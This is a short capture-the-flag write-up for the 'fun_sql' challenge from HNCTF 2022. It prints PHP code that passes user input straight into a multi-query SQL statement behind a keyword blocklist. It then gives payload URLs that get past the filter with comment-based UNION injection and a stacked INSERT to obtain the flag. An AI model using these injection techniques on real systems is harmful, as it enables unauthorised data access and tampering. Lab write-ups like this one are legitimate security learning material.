[HNCTF 2022 WEEK4]fun_sql
[HNCTF 2022 WEEK4]fun_sql
<?
include "mysql.php";
include "flag.php";
if ( $_GET['uname'] != '' && isset($_GET['uname'])) {
$uname=$_GET['uname'];
if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');
}
$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";
mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);
echo "<br>";
echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";
}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);
代码检查$row是否为空,如果为空,则输出"something wrong"并终止执行。如果row不为空,代码将打印出row的内容,并尝试判断row的第二个元素是否等于uname。如果相等,代码将输出$flag.
查询列数:
http://node2.anna.nssctf.cn:28584/?uname=0'/**/union/**/select/**/1,database(),3/**/'1
插入数据:
http://node2.anna.nssctf.cn:28584/?uname=0'/**/union/**/select/**/1,database(),3/**/;insert into ccctttfff values('111','aaa','bbb');'1
使uname=aaa:
http://node2.anna.nssctf.cn:28584/?uname=aaa


浙公网安备 33010602011771号